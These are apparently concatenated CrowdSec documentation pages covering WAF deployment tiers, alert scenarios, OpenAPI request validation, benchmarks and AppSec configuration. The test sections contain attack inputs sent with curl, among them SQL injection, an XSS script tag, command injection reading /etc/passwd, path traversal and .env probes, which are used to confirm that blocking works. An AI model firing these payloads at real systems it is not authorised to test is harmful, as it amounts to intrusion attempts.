-   **Reproducibility**: Analyze live logs and [cold logs](/u/user_guides/replay_mode) to validate detections, run forensic analysis, or generate reports.
-   **Versatile**: Protect your perimeter by analyzing [system logs](/log_processor/data_sources/introduction.md) and [HTTP requests](/appsec/intro.md).
-   **Observability**: Providing valuable insights into the system's activity:
    -   View and manage alerts in the [Console](https://app.crowdsec.net/signup).
    -   Expose detailed [Prometheus metrics](/observability/prometheus.md).
    -   Use the [cscli CLI](/observability/cscli.md) for administration.
-   **API-Centric**: All components communicate via an [HTTP API](/local_api/intro.md), facilitating multi-machine setups.

## Architecture


    
        
    


Under the hood, the Security Engine has various components:

-   The [Log Processor](/log_processor/intro.mdx) handles detection. It analyzes logs from [various data sources](/log_processor/data_sources/introduction.md) and [HTTP requests](/appsec/intro.md) from compatible web servers.
-   The [Appsec](appsec/intro.md) feature is part of the Log Processor. It filters HTTP requests from compatible web servers.
-   The [Local API](local_api/intro.md) acts as a middleman:
    -   Between the [Log Processors](/log_processor/intro.mdx) and the [Remediation Components](/u/bouncers/intro) which are in charge of enforcing decisions.
    -   And with the [Central API](/central_api/intro.md) to share alerts and receive blocklists.
-   The [Remediation Components](/u/bouncers/intro) (also called bouncers) block malicious IPs at your chosen level: IpTables, firewalls, web servers, or reverse proxies. [See the full list on the CrowdSec Hub.](https://app.crowdsec.net/hub/remediation-components)

## Deployment options

This architecture supports simple standalone setups and more distributed deployments:

-   Single machine: Follow the [getting started guide](/u/getting_started/intro).
-   Multiple machines: Use the [distributed setup guide](/u/user_guides/multiserver_setup).
-   Centralized logs (rsyslog, Loki, ...): [Run CrowdSec next to your log pipeline](/u/user_guides/log_centralization), not on production workloads.
-   Kubernetes: See [our Helm chart](/u/getting_started/installation/kubernetes).
-   Containers: Use the [Docker data source](/log_processor/data_sources/docker.md).
-   WAF only: Start with the [AppSec introduction](appsec/intro.md).

Distributed architecture example:


    
        
    


<AcademyPromo
    image="crowdsec_fundamentals.svg"
    description="Watch a short series of videos on how to install CrowdSec and protect your infrastructure"
    title="More ways to learn"
    course="crowdsec-fundamentals"
    utm="?utm_source=docs&utm_medium=banner&utm_campaign=intro-page&utm_id=academydocs"
/>

---

## File: crowdsec-docs/docs/appsec/advanced_deployments.mdx

---
id: advanced_deployments
title: WAF Deployment Strategies
sidebar_position: 6
---

# WAF Deployment Strategies

This guide covers advanced CrowdSec WAF deployment strategies for organizations looking to gradually enhance their web application security posture. Learn how to progressively improve your WAF configuration from basic virtual patching to comprehensive multi-layer protection.

:::info Prerequisites
This guide assumes you have completed the [General Setup](/appsec/quickstart/general.mdx) and have a functional basic WAF deployment.
:::

You can read more about the CrowdSec WAF CRS support in the [dedicated documentation](/appsec/crs/intro.md)

## Security Enhancement Path

CrowdSec WAF supports multiple deployment strategies that can be implemented progressively:

### 1. Basic Virtual Patching (Quickstart)

**Current State**: Blocking protection against known CVEs

- Collections: [`crowdsecurity/appsec-virtual-patching`](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-virtual-patching)
- Mode: In-band (blocking)
- Coverage: Known vulnerabilities only
- False Positives: Minimal

### 2. Enhanced Detection (Out-of-band CRS)

**Next Step**: Add comprehensive attack detection without performance impact

- Add: [`crowdsecurity/appsec-crs`](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-crs) (out-of-band) alongside existing virtual patching
- Mode: Non-blocking analysis + behavioral banning
- Coverage: OWASP Top 10 + comprehensive attack patterns + specific CVE protection
- Performance: No latency impact ⚡
- Security: Layered approach - virtual patching + generic attack detection

### 3. Maximum Protection (In-band CRS)

**Advanced**: Full blocking protection with comprehensive coverage

- Modify: Use [`crowdsecurity/appsec-crs-inband`](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-crs-inband) for blocking CRS while keeping virtual patching
- Mode: Immediate blocking of all detected attacks (both generic and CVE-specific)
- Coverage: Maximum protection with instant response 🛡️
- Security: Dual-layer blocking - virtual patching handles specific vulnerabilities, CRS covers generic attack patterns
- Consideration: Might require tuning to minimize false positives

You will most likely also need to configure the CRS themselves to tune out potential false positives.
You can do so by using either official or custom CRS plugins. Refer to [this documentation](/appsec/crs/plugin_support.md) for a general plugin overview and [this page](/appsec/crs/customization.md) for some examples.

## Implementation Guide

### Adding Out-of-band CRS

Enhance your existing virtual patching deployment by adding comprehensive attack detection as an additional security layer:

```bash title="Install CRS collection"
sudo cscli collections install crowdsecurity/appsec-crs
```

The [`crowdsecurity/appsec-crs`](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-crs) collection includes:

- **crowdsecurity/crs**: AppSec config that loads CRS rules in out-of-band mode
- **crowdsecurity/crowdsec-appsec-outofband**: Scenario that bans IPs after 5+ out-of-band rule violations

Update your WAF acquisition configuration to include both rule sets:

```yaml title="/etc/crowdsec/acquis.d/appsec.yaml"
appsec_configs:
  - crowdsecurity/appsec-default # Virtual patching rules (in-band blocking)
  - crowdsecurity/crs # OWASP CRS rules (out-of-band detection)
labels:
  type: appsec
listen_addr: 127.0.0.1:7422
source: appsec
name: myAppSecComponent
```

```bash title="Restart CrowdSec"
sudo systemctl restart crowdsec
```

**Benefits of this layered configuration:**

- **Layer 1**: Immediate protection against known vulnerabilities (virtual patching)
- **Layer 2**: Comprehensive attack pattern detection (CRS out-of-band)
- **Complementary Coverage**: Virtual patching rules catch specific CVEs that CRS generic rules might miss
- Behavioral analysis and repeat offender banning
- No performance impact on legitimate traffic

#### How to Test Out-of-band CRS Detection

After implementing the layered configuration, verify both protection layers are working correctly:

**Test 1: Virtual Patching Layer (Immediate Blocking)**

Test that virtual patching rules block requests immediately by trying to access sensitive files:

```bash
# Test .env file access (common vulnerability)
curl -v "http://your-app.com/.env"
curl -v "http://your-app.com/api/../.env"
```

Expected result: These requests should be immediately blocked with HTTP 403 Forbidden.

**Test 2: CRS Out-of-band Detection Layer**

The `crowdsecurity/crs` collection brings general detection for OWASP top10 attacks, which can be tested:

```bash
# Replace with your application URL
TARGET="http://your-app.com"

# SQL injection attempts (trigger multiple CRS rules)
curl "$TARGET/?id=1'+OR+'1'='1"
```

Expected results:

- Detailed Alert is created (see `cscli alerts list`)


  `cscli alerts list` output

```yaml
+-------+--------------------+--------------------------------------------------------------+---------+------------------------------+-----------+----------------------+
|   ID  |        value       |                            reason                            | country |              as              | decisions |      created_at      |
+-------+--------------------+--------------------------------------------------------------+---------+------------------------------+-----------+----------------------+
| 62419 | Ip:xxx.xx.xx.xx    | anomaly score out-of-band: sql_injection: 10, anomaly: 10,   | FR      | 5410 Bouygues Telecom SA     |           | 2025-09-09T14:41:07Z |
...
```



- Detailed Alert is visible in console


  Alert Console view
  


**Test 3: Verify Scenario Behavior**

The `crowdsecurity/crowdsec-appsec-outofband` scenario will ban IPs triggering the CRS on more than 5 distinct requests on a short period, which can be tested:

```bash
for i in {1..6}; do curl "$TARGET/?id=1'+OR+'1'='1"; done
```

Expected results:

- Alerts are created for each request
- Decision is created by the 6th request


  `cscli alerts list` output

```yaml
───────┬────────────────────┬──────────────────────────────────────────────────────────────┬─────────┬──────────────────────────────┬───────────┬──────────────────────╮
│   ID  │        value       │                            reason                            │ country │              as              │ decisions │      created_at      │
├───────┼────────────────────┼──────────────────────────────────────────────────────────────┼─────────┼──────────────────────────────┼───────────┼──────────────────────┤
│ 62427 │ Ip:xxx.xx.xx.xx    │ crowdsecurity/crowdsec-appsec-outofband                      │ FR      │ 5410 Bouygues Telecom SA     │ ban:1     │ 2025-09-09T14:51:11Z │
│ 62426 │ Ip:xxx.xx.xx.xx    │ anomaly score out-of-band: sql_injection: 10, anomaly: 10,   │ FR      │ 5410 Bouygues Telecom SA     │           │ 2025-09-09T14:51:12Z │
│ 62425 │ Ip:xxx.xx.xx.xx    │ anomaly score out-of-band: sql_injection: 10, anomaly: 10,   │ FR      │ 5410 Bouygues Telecom SA     │           │ 2025-09-09T14:51:11Z │
│ 62424 │ Ip:xxx.xx.xx.xx    │ anomaly score out-of-band: sql_injection: 10, anomaly: 10,   │ FR      │ 5410 Bouygues Telecom SA     │           │ 2025-09-09T14:51:11Z │
│ 62423 │ Ip:xxx.xx.xx.xx    │ anomaly score out-of-band: sql_injection: 10, anomaly: 10,   │ FR      │ 5410 Bouygues Telecom SA     │           │ 2025-09-09T14:51:11Z │
│ 62422 │ Ip:xxx.xx.xx.xx    │ anomaly score out-of-band: sql_injection: 10, anomaly: 10,   │ FR      │ 5410 Bouygues Telecom SA     │           │ 2025-09-09T14:51:11Z │
│ 62421 │ Ip:xxx.xx.xx.xx    │ anomaly score out-of-band: sql_injection: 10, anomaly: 10,   │ FR      │ 5410 Bouygues Telecom SA     │           │ 2025-09-09T14:51:11Z │

```



### CRS In-band (Blocking Mode)

For organizations requiring maximum protection, configure CRS rules to block requests immediately by installing the in-band CRS collection:

```bash title="Install CRS in-band collection"
sudo cscli collections install crowdsecurity/appsec-crs-inband
```

:::info

In order to avoid potential false positives, you can also install a CRS exclusion rules plugin from the hub or write a custom one.

Refer to [this documentation](/appsec/crs/plugin_support.md) for a general plugin overview and [this page](/appsec/crs/customization.md) for instructions on how to write a custom plugin.

:::

#### Update Acquisition Configuration

Modify your acquisition to use the in-band CRS configuration:

```yaml title="/etc/crowdsec/acquis.d/appsec.yaml"
appsec_configs:
  - crowdsecurity/appsec-default # Virtual patching rules (in-band blocking)
  - crowdsecurity/crs-inband # OWASP CRS rules (in-band blocking)
labels:
  type: appsec
listen_addr: 127.0.0.1:7422
source: appsec
name: myAppSecComponent
```

```bash title="Restart CrowdSec"
sudo systemctl restart crowdsec
```

#### How to Test CRS In-band Blocking

After configuring CRS for in-band (blocking) mode, test that both virtual patching and CRS rules provide immediate blocking:

**Test 1: Virtual Patching Layer (Still Blocking)**

Verify virtual patching continues to work:

```bash
# These should still be immediately blocked
curl -v "http://your-app.com/.env"
```

Expected result: HTTP 403 Forbidden immediately.

**Test 2: CRS In-band Blocking**

Test that CRS rules now block requests immediately (no more out-of-band delay):

```bash
TARGET="http://your-app.com"

# SQL injection - should be blocked immediately
curl -v "$TARGET/?id=1' OR '1'='1"

# XSS - should be blocked immediately
curl -v "$TARGET/?q=<script>alert('xss')</script>"

# Command injection - should be blocked immediately
curl -v "$TARGET/?cmd=; cat /etc/passwd"

# Path traversal - should be blocked immediately
curl -v "$TARGET/?file=../../../etc/passwd"
```

**Expected behavior:**

- **All requests above**: Immediately blocked with HTTP 403 Forbidden
- **No delay**: Unlike out-of-band mode, blocking is instant
- **Dual protection**: Both virtual patching AND CRS rules provide immediate blocking

:::warning Important Considerations
In-band CRS blocking provides maximum protection but requires:

- **Thorough testing** in a staging environment
- **Gradual rollout** to production traffic
- **Monitoring and tuning** to prevent blocking legitimate requests
- **Whitelisting capabilities** for false positives
  :::

## Next Steps

Once you've implemented advanced deployments:

- Configure [Custom Rules](create_rules.md) for application-specific protection
- Set up [Hooks](hooks.md) for custom response actions
- Explore [Configuration Options](configuration.md) for fine-tuning
- Review [Troubleshooting Guide](troubleshooting.md) for operational issues

---

## File: crowdsec-docs/docs/appsec/alerts_and_scenarios.md

---
id: alerts_and_scenarios
title: "WAF Alerts & Scenarios"
sidebar_label: "Alerts & Scenarios"
sidebar_position: 5
---

## Generated Events Layout

HTTP requests that trigger _In-Band_ or _Out-Of-Band_ AppSec/WAF rules generate events. These events can trigger scenarios that ban or alert when rules are matched.

The [`crowdsecurity/appsec-logs` parser](https://app.crowdsec.net/hub/author/crowdsecurity/configurations/appsec-logs) is designed as a general-purpose tool to convert events into a format that is easier to process with scenarios.


The generated event looks like this:

 - `evt.Meta.service` is set to `appsec`
 - `evt.Meta.log_type`:
    - `appsec-block` for blocked requests (_In-Band_ rule matched, for example)
    - `appsec-info` for requests that triggered _Out-Of-Band_ rule (not blocked)
 - `evt.Meta.source_ip` is set to the source (client) IP
 - `evt.Meta.target_host` is set to the FQDN if present (`Host` header in the HTTP request)
 - `evt.Meta.target_uri` is set to the complete URI of the HTTP request
 - `evt.Meta.rule_name` is set to the name of the triggered rule
 - `evt.Meta.remediation_cmpt_ip` is set to the IP of the Remediation Component (bouncer) that sent the HTTP request.

:::info
The [`crowdsecurity/appsec-logs` parser](https://app.crowdsec.net/hub/author/crowdsecurity/configurations/appsec-logs) is already part of the generic AppSec/WAF collections and doesn't have to be manually installed.
:::


## Creating Scenario Based on AppSec/WAF Events

### Triggering on _In-Band_ Rules

A simple example is the [`crowdsecurity/appsec-vpatch` scenario](https://app.crowdsec.net/hub/author/crowdsecurity/configurations/appsec-vpatch) that will ban IPs triggering two distinct _In-Band_ rules:

```yaml title="/etc/crowdsec/scenarios/appsec-vpatch.yaml"
type: leaky
name: crowdsecurity/appsec-vpatch
filter: "evt.Meta.log_type == 'appsec-block'"
distinct: evt.Meta.rule_name
leakspeed: "60s"
capacity: 1
groupby: evt.Meta.source_ip
...
```

:::info
The [`crowdsecurity/appsec-vpatch` scenario](https://app.crowdsec.net/hub/author/crowdsecurity/configurations/appsec-vpatch) is already part of the generic AppSec/WAF collections, and doesn't have to be manually installed.
:::

### Triggering on Out-Of-Band Rules

Let's try to solve an imaginary scenario:

> We aim to prevent users from enumerating certain URLs (specifically, those that begin with `/foobar/*`) when a particular HTTP header is present (`something: *test*`). However, we want to impose this restriction only on users attempting to access two or more distinct `/foobar/*` URLs while this header is set.

:::info
Keep in mind that _Out-Of-Band_ rules generate an event instead of blocking the HTTP request.
:::

#### The AppSec/WAF Rule

This is our AppSec/WAF rule: 

```yaml title="/etc/crowdsec/appsec-rules/foobar-access.yaml"
name: crowdsecurity/foobar-access
description: "Detect access to foobar files with the something header set"
rules:
  - and:
    - zones:
      - URI
      transform:
      - lowercase
      match:
        type: startsWith
        value: /foobar/
    - zones:
      - HEADERS
      variables:
      - something
      transform:
      - lowercase
      match:
        type: contains
        value: test
```

Let's ensure it's loaded as an _Out-Of-Band_ rule by creating a new AppSec config:

```yaml title="/etc/crowdsec/appsec-configs/appsec-oob.yaml"
name: crowdsecurity/appsec-oob
default_remediation: ban
#Let's add our rule as an out-of-band rule
outofband_rules:
 - crowdsecurity/foobar-access
```

And then make sure this appsec-config is loaded:

```yaml title="/etc/crowdsec/acquis.d/appsec.yaml"
appsec_configs:
 - crowdsecurity/appsec-default
 - crowdsecurity/appsec-oob
labels:
  type: appsec
listen_addr: 127.0.0.1:7422
source: appsec
```

#### The Scenario

We can now create a scenario that will trigger when a single IP triggers this rule on distinct URLs:

```yaml title="/etc/crowdsec/scenarios/foobar-enum.yaml"
type: leaky
format: 3.0
name: crowdsecurity/foobar-enum
description: "Ban IPs repeatedly triggering out of band rules"
filter: "evt.Meta.log_type == 'appsec-info' && evt.Meta.rule_name == 'crowdsecurity/foobar-access'"
distinct: evt.Meta.target_uri
leakspeed: "60s"
capacity: 1
groupby: evt.Meta.source_ip
blackhole: 1m
labels:
  remediation: true
```

:::info
The `filter` ensures only _Out-Of-Band_ events generated by our scenario are picked up, while the `capacity: 1` and `distinct: evt.Meta.target_uri` will ensure that the IP has to trigger the rule on at least 2 distinct URLs to trigger the scenario.
:::

#### Testing

Let's now test our setup:

```bash
$ curl -I localhost/foobar/1 -H 'something: test'
HTTP/1.1 404 Not Found

$ curl -I localhost/foobar/2 -H 'something: test'
HTTP/1.1 404 Not Found

$ curl -I localhost/foobar/3 -H 'something: test'
HTTP/1.1 403 Forbidden
```

And CrowdSec logs will show:

```
INFO[2024-12-02T15:28:16+01:00] Ip ::1 performed 'crowdsecurity/foobar-enum' (2 events over 4.780233613s) at 2024-12-02 14:28:16.858419797 +0000 UTC 
INFO[2024-12-02T15:28:17+01:00] (test/crowdsec) crowdsecurity/foobar-enum by ip ::1 (/0) : 4h ban on Ip ::1 
```

As expected, the first two requests were processed without being blocked. The second one triggered the scenario, resulting in the third request being blocked by the bouncer.

---

## File: crowdsec-docs/docs/appsec/api_validation.md

---
id: api_validation
title: OpenAPI Schema Validation
sidebar_position: 5
---

The Application Security Component can validate incoming HTTP requests against an [OpenAPI 3](https://swagger.io/specification/) schema you provide. Requests that do not conform to the schema (unknown route, unexpected method, missing or malformed parameters, invalid request body, missing/invalid authentication credentials, …) can be rejected before they ever reach the protected application.

This is a positive-security model layered on top of the negative-security model implemented by the WAF rules: instead of describing what an attacker looks like, you describe what a valid client looks like and reject everything else.

## How it works

Schema validation is exposed through the [hooks](hooks.md) system:

- An `on_load` hook loads one or more OpenAPI schemas at startup, each under a short string `ref`.
- A `pre_eval` hook calls `ValidateRequestWithSchema(ref)` to validate the current request. The function returns `true` when the request is valid, `false` otherwise.
- When validation fails, structured details about the failure are published to `hook_vars` so the same hook (or a later one) can build a meaningful drop reason, enrich an event, etc.

## Storing schemas

Schemas are loaded from the `schemas/` subdirectory of the CrowdSec [`data_dir`](/configuration/crowdsec_configuration.md#data_dir) (typically `/var/lib/crowdsec/data/schemas/`).

Filenames passed to the loader **must be relative** to that directory.

```
/var/lib/crowdsec/data/schemas/
├── users-api.yaml
└── billing-api.yaml
```

OpenAPI 3.0 and Swagger schemas in YAML or JSON are both accepted.

## Loading schemas (`on_load`)

Loading is done from an `on_load` hook using one of two helpers:

| Helper                                                        | Description                                                                              |
| ------------------------------------------------------------- | ---------------------------------------------------------------------------------------- |
| `LoadAPISchemaWithName(ref str, filename str)`                | Load `<data_dir>/schemas/<filename>` and register it under `ref`, with default policies. |
| `LoadAPISchemaWithOptions(ref str, filename str, opts map)`   | Same as above, but lets you override per-schema policies (see below).                    |
| `RegisterAPISchemaBodyDecoder(content_type str, decoder str)` | Enable a non-default body decoder for a given Content-Type (see below).                  |

`ref` is an arbitrary string you choose; you will use it later in `pre_eval` to refer to this schema. A schema name cannot be loaded twice.

```yaml
name: custom/my-appsec-config
inband_rules:
  - crowdsecurity/base-config
on_load:
  - apply:
      - LoadAPISchemaWithName("users_api", "users-api.yaml")
      - LoadAPISchemaWithName("billing_api", "billing-api.yaml")
```

If the schema file is missing, malformed, or not a valid OpenAPI 3 document, the datasource will fail to start and log the underlying error.

### Schema options

`LoadAPISchemaWithOptions` accepts the following keys, all strings:

| Key                              | Values            | Default | Effect                                                                                                                                                             |
| -------------------------------- | ----------------- | ------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `on_route_not_found`             | `drop` / `ignore` | `drop`  | What to do when no path in the schema matches the request URL.                                                                                                     |
| `on_method_not_allowed`          | `drop` / `ignore` | `drop`  | What to do when a path matches but the method does not (e.g. schema only declares `GET`, request is `POST`).                                                       |
| `on_unsupported_security_scheme` | `drop` / `ignore` | `drop`  | What to do when an unsupported security scheme is encountered (`oauth2`, `openIdConnect`). If `ignore`, the security scheme is not validated when checking a request. |

`drop` (the default) treats the unmatched route as a validation failure — `ValidateRequestWithSchema` returns `false` and the validation error is surfaced via `hook_vars`. `ignore` lets the request through the validator without inspection (the function returns `true`), which is useful when your schema only covers a subset of your API.

```yaml
on_load:
  - apply:
      - >
        LoadAPISchemaWithOptions("public_api", "public-api.yaml", {
          "on_route_not_found": "ignore",
          "on_method_not_allowed": "drop",
        })
```

### Body decoders

The validator uses the request `Content-Type` to pick a decoder for the body. By default, only the following Content-Types are decoded:

- `application/json` and the JSON variants `application/json-patch+json`, `application/merge-patch+json`, `application/ld+json`, `application/hal+json`, `application/vnd.api+json`, `application/problem+json`
- `application/x-www-form-urlencoded`
- `multipart/form-data`

A request whose Content-Type is not in this list will fail validation if the matching operation in the schema declares a request body.

To enable validation of additional Content-Types, register a decoder from `on_load`:

```yaml
on_load:
  - apply:
      - RegisterAPISchemaBodyDecoder("application/yaml", "yaml")
      - RegisterAPISchemaBodyDecoder("text/csv", "csv")
```

Available decoder names:

| Decoder      | Use for                                               |
| ------------ | ----------------------------------------------------- |
| `json`       | JSON payloads                                         |
| `urlencoded` | `application/x-www-form-urlencoded`                   |
| `multipart`  | `multipart/form-data`                                 |
| `yaml`       | YAML payloads                                         |
| `csv`        | CSV payloads                                          |
| `plain`      | `text/plain`                                          |
| `file`       | Raw binary uploads (`application/octet-stream`, etc.) |

:::warning
Body decoders are registered process-wide. If you run several AppSec datasources in the same CrowdSec process, they share the same set of registered decoders.
:::

## Validating requests (`pre_eval`)

In a `pre_eval` hook, call `ValidateRequestWithSchema(ref)` with the `ref` you used at load time. It returns `true` if the request matches the schema, `false` otherwise.

| Helper                      | Type                 | Description                                                                                        |
| --------------------------- | -------------------- | -------------------------------------------------------------------------------------------------- |
| `ValidateRequestWithSchema` | `func(ref str) bool` | Validate the current request against the schema registered under `ref`. Returns `true` on success. |

A typical pattern is to fail closed — on validation failure, drop the request and use the failure details to build a human-readable reason:

```yaml
name: custom/my-appsec-config
on_load:
  - apply:
      - LoadAPISchemaWithName("users_api", "users-api.yaml")
inband:
  pre_eval:
    - filter: req.URL.Path startsWith "/users" && !ValidateRequestWithSchema("users_api")
      apply:
        - |
          DropRequest("schema validation failed: " + hook_vars.validation_error_message)
```

You can also use the result to pick a softer remediation, send a custom event, etc.

### Validation result variables

When `ValidateRequestWithSchema` returns `false`, the following keys are set on `hook_vars`. They are available to the `apply` block of the same hook, to later hooks in the same request, and to `on_match` / `post_eval` hooks. The same keys are also propagated to the resulting CrowdSec event.

| `hook_vars` key             | Description                                                                                                      |
| --------------------------- | ---------------------------------------------------------------------------------------------------------------- |
| `validation_error`          | Full human-readable error string (combination of reason, field and message).                                     |
| `validation_error_reason`   | Failure category — `parameter`, `request_body`, `security`, `route_not_found`, `method_not_allowed`, `internal`. |
| `validation_error_field`    | Name of the offending field (e.g. query parameter, header, body property) when applicable.                       |
| `validation_error_message`  | The underlying error message from the validator.                                                                 |
| `validation_error_value`    | The offending value, truncated to 100 characters.                                                                |
| `validation_error_expected` | Short description of what the schema expected (e.g. `type: integer, min: 18`).                                   |

On success these keys are absent.

## Authentication

If your OpenAPI schema declares a `security` requirement on an operation, the validator enforces it as part of validation. Failure to satisfy the security requirement is reported as a `security` reason in `hook_vars`.

| Security scheme           | Supported | Notes                                                                                          |
| ------------------------- | --------- | ---------------------------------------------------------------------------------------------- |
| `http` `basic`            | Yes       | Checks that an `Authorization: Basic …` header is present and non-empty.                       |
| `http` `bearer`           | Yes       | Checks that an `Authorization: Bearer …` header is present and non-empty.                      |
| `apiKey` (`header`)       | Yes       | Checks that the named header is present and non-empty.                                         |
| `apiKey` (`query`)        | Yes       | Checks that the named query parameter is present and non-empty.                                |
| `apiKey` (`cookie`)       | Yes       | Checks that the named cookie is present and non-empty.                                         |
| `oauth2`, `openIdConnect` | No        | A warning is logged at schema load. Any request guarded by such a scheme will fail validation. |

The validator only verifies that the credential **is present and well-formed** — it does not verify the credential against any backing store.

## End-to-end example

`/var/lib/crowdsec/data/schemas/users-api.yaml`:

```yaml
openapi: 3.0.0
info:
  title: Users API
  version: "1.0.0"
paths:
  /users:
    post:
      requestBody:
        required: true
        content:
          application/json:
            schema:
              type: object
              required: [username, email]
              additionalProperties: false
              properties:
                username:
                  type: string
                  minLength: 3
                  maxLength: 20
                email:
                  type: string
                  format: email
      responses:
        "201":
          description: created
```

AppSec configuration:

```yaml
name: custom/my-appsec-config
on_load:
  - apply:
      - LoadAPISchemaWithName("users_api", "users-api.yaml")
inband:
  pre_eval:
    - filter: req.URL.Path startsWith "/users" && !ValidateRequestWithSchema("users_api")
      apply:
        - |
          DropRequest("API schema violation on '" + hook_vars.validation_error_field + "': " + hook_vars.validation_error_message)
```

With this configuration:

- `POST /users` with `{"username": "ab", "email": "x"}` is dropped (`username` too short, `email` malformed).
- `POST /users` with a valid body passes validation and is then evaluated by the WAF rules as usual.
- `GET /users` is dropped with reason `method_not_allowed` (default policy).
- `POST /admin` is not validated by this hook because the filter only matches `/users` paths.

## Metrics

Two Prometheus counters are exposed:

| Metric                              | Labels                                            | Description                                                    |
| ----------------------------------- | ------------------------------------------------- | -------------------------------------------------------------- |
| `cs_appsec_validation_ok_total`     | `source`, `appsec_engine`, `schema_ref`           | Requests that passed schema validation.                        |
| `cs_appsec_validation_failed_total` | `source`, `appsec_engine`, `schema_ref`, `reason` | Requests that failed schema validation, broken down by reason. |

`reason` values match `validation_error_reason`: `parameter`, `request_body`, `security`, `route_not_found`, `method_not_allowed`, `internal`.

---

## File: crowdsec-docs/docs/appsec/benchmark.md

---
id: benchmark
title: WAF Component Benchmark
toc_max_heading_level: 4
sidebar_position: 80
---



## Basic Benchmark

The Application Security Component benchmarks were run on an AWS EC2 instance `t2.medium` (2vCPU/4GiB RAM).

All benchmarks were run with a single `routine` configured for the Application Security Component.

The benchmarks cover the following tests:

- Basic GET request:
  - 5 concurrent connections / 1000 requests
  - 15 concurrent connections / 1000 requests



Each test was run with multiple cases:

- Application Security Component enabled but without any rules
- Application Security Component enabled with 100 vpatch rules (in-band)
- Application Security Component enabled with all the CRS (in-band)

On the system, we deployed:

- Openresty `1.21.4.3`
- CrowdSec `v1.6.0`
- cs-openresty-bouncer `v1.0.1`

### Basic GET request

#### 5 concurrent connections / 1000 requests



#### 15 concurrent connections / 1000 requests





## Stress Test

This test was run on a `c5a.4xlarge` EC2 instance (16CPU/32GiB RAM).

Tested versions are:

- Openresty `v1.27.1.2`
- CrowdSec `v1.7.0`
- cs-openresty-bouncer `v1.1.2`

Openresty was configured to not log anything and forward requests to a Go backend that always returns 200, to improve raw throughput and avoid disk access limits.

CrowdSec WAF was configured with 16 routines to make use of as much CPU as possible.

All tests were simulating 400 concurrent users, making requests as quickly as possible during 1 minute.

Except for the baseline, all values in the tables are shown as a delta from the baseline performance.

### Baseline

This test was run without loading the Openresty bouncer to get a baseline throughput of the system.

#### GET Requests

| Metric                | Value    |
| --------------------- | -------- |
| Average Response Time | 23.55ms  |
| Minimum Response Time | 21.24ms  |
| Median Response Time  | 23.18ms  |
| Maximum Response Time | 255.16ms |
| P90 Response Time     | 24.72ms  |

#### 10% POST Requests

| Metric                | Value    |
| --------------------- | -------- |
| Average Response Time | 25.08ms  |
| Minimum Response Time | 21.29ms  |
| Median Response Time  | 23.95ms  |
| Maximum Response Time | 331.08ms |
| P90 Response Time     | 30.95ms  |

### Virtual Patching Rules

#### GET Requests - 10% malicious - InBand

| Metric                | Delta    |
| --------------------- | -------- |
| Average Response Time | +4.94ms  |
| Minimum Response Time | +0.93ms  |
| Median Response Time  | +3.48ms  |
| Maximum Response Time | +6.83ms  |
| P90 Response Time     | +10.13ms |

#### Realistic Traffic - 70% GET - 25% POST - 5% malicious - Inband

| Metric                | Delta   |
| --------------------- | ------- |
| Average Response Time | +4.03ms |
| Minimum Response Time | +0.71ms |
| Median Response Time  | +2.36ms |
| Maximum Response Time | +6.79ms |
| P90 Response Time     | +8.07ms |

### CRS

#### GET Requests - 10% malicious - InBand

| Metric                | Delta    |
| --------------------- | -------- |
| Average Response Time | +32.85ms |
| Minimum Response Time | +2.21ms  |
| Median Response Time  | +27.47ms |
| Maximum Response Time | -64.45ms |
| P90 Response Time     | +58.19ms |

#### POST Requests - 10% malicious - InBand

| Metric                | Delta     |
| --------------------- | --------- |
| Average Response Time | +58.49ms  |
| Minimum Response Time | +3.18ms   |
| Median Response Time  | +54.1ms   |
| Maximum Response Time | -106.76ms |
| P90 Response Time     | +83.01ms  |

#### Realistic Traffic - 70% GET - 25% POST - 5% malicious - Inband

| Metric                | Delta    |
| --------------------- | -------- |
| Average Response Time | +32.54ms |
| Minimum Response Time | +1.87ms  |
| Median Response Time  | +28.36ms |
| Maximum Response Time | -68.34ms |
| P90 Response Time     | +53.83ms |

### Virtual Patching Inband + CRS Out-of-band

#### Realistic Traffic - 70% GET - 25% POST - 5% malicious

| Metric                | Delta     |
| --------------------- | --------- |
| Average Response Time | +30.5ms   |
| Minimum Response Time | +1.56ms   |
| Median Response Time  | +26.26ms  |
| Maximum Response Time | -101.66ms |
| P90 Response Time     | +51.18ms  |

---

## File: crowdsec-docs/docs/appsec/configuration.md

---
id: configuration
title: "AppSec Configuration Syntax"
sidebar_label: "Syntax"
sidebar_position: 1
---

## AppSec Configuration Files

AppSec configuration files define which rules are loaded, how they run, and how the WAF responds.

They are loaded by the AppSec acquisition datasource via `appsec_configs` (see the [AppSec datasource](/log_processor/data_sources/appsec.md)).

Below is a minimal example followed by the full key reference.

```yaml
name: custom/my-appsec-config
inband_rules:
  - crowdsecurity/base-config
default_remediation: ban
```

Each AppSec configuration file controls how rules are loaded and processed.
You can create custom configuration files in `/etc/crowdsec/appsec-configs/`.

## Configuration File Format

Configuration files share a common structure:

- a [`name`](#name) (required)
- optional rule lists such as [`inband_rules`](#inband_rules) and [`outofband_rules`](#outofband_rules)
- optional behavior keys like [`default_remediation`](#default_remediation) and [`default_pass_action`](#default_pass_action)
- HTTP response codes (for example, [`blocked_http_code`](#blocked_http_code))
- optional performance settings ([`inband_options`](#inband_options), [`outofband_options`](#outofband_options))
- optional hooks, scoped per phase ([`inband`](#inband), [`outofband`](#outofband)), plus [`on_load`](#on_load)
- legacy top-level hooks ([`pre_eval`](#pre_eval), [`post_eval`](#post_eval), [`on_match`](#on_match))
- optional logging ([`log_level`](#log_level))

```yaml
name: custom/my-appsec-config
inband_rules:
  - crowdsecurity/base-config
outofband_rules:
  - crowdsecurity/crs
default_remediation: ban
default_pass_action: allow
blocked_http_code: 403
passed_http_code: 200
log_level: info
```

## Configuration Structure

### name

> string

Unique identifier for the AppSec configuration, used for logging and referencing.

```yaml
name: custom/my-appsec-config
```

### inband_rules

> array of strings

List of rule patterns to load as in-band rules. See [in-band rule processing](intro.md#in-band-rule-processing).

```yaml
inband_rules:
  - crowdsecurity/base-config
  - crowdsecurity/vpatch-*
```

### outofband_rules

> array of strings

List of rule patterns to load as out-of-band rules. See [out-of-band rule processing](intro.md#out-of-band-rule-processing).

```yaml
outofband_rules:
  - crowdsecurity/crs
  - custom/detection-rules
```

### default_remediation

> string

Default action for in-band rules that match. The special value `allow` disables blocking.

